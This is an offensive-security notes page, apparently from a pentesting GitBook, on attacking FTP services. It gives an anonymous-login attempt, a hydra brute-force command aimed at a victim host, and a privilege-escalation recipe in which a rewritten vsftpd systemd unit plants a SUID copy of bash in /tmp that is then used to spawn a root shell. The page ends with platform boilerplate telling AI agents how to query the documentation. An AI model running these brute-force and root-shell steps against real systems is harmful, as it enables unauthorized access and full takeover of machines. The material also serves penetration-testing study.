> For the complete documentation index, see [llms.txt](https://book.turbosec.net/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.turbosec.net/protocols/ftp.md). # FTP ## Anonymous Login Some installations of FTP will allow anonymous logins. ``` ftp anonymous:anonymous ``` ### Brute Force If no max attempts or any similar system is in place, simply brute force it. ``` hydra -l admin -P wordlist.txt victim_ip -t 64 ftp ``` ### Privilege Escalation - VSFTPD If you can edit the vsftpd service file. You can get a root shell Modify the service file to run the following commands: ``` cp /bin/bash /tmp/root_shell chmod +xs /tmp/root_shell ``` These commands copy the `/bin/bash` to `/tmp/root_shell` and set the SUID bit on it, which would allow us to execute the binary as the owner i.e. root Edit the `/lib/systemd/system/vsftpd.service` file to contain the following code: ```bash [Unit] Description=vsftpd FTP server After=network.target [Service] Type=simple User=root ExecStart=/bin/bash -c 'cp /bin/bash /tmp/root_shell; chmod +xs /tmp/root_shell' #ExecReload=/bin/kill -HUP $MAINPID #ExecStartPre=-/bin/mkdir -p /var/run/vsftpd/empty [Install] WantedBy=multi-user.target ``` Once the vsftpd.service file was modified, reload the daemon: ``` systemctl daemon-reload ``` This allowed us to run our modified service using ``` sudo /usr/sbin/service vsftpd restart ``` New file `root_shell should now be available` inside the `/tmp` directory Use file to spawn a root shell. ``` /tmp/root_shell -p ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://book.turbosec.net/protocols/ftp.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.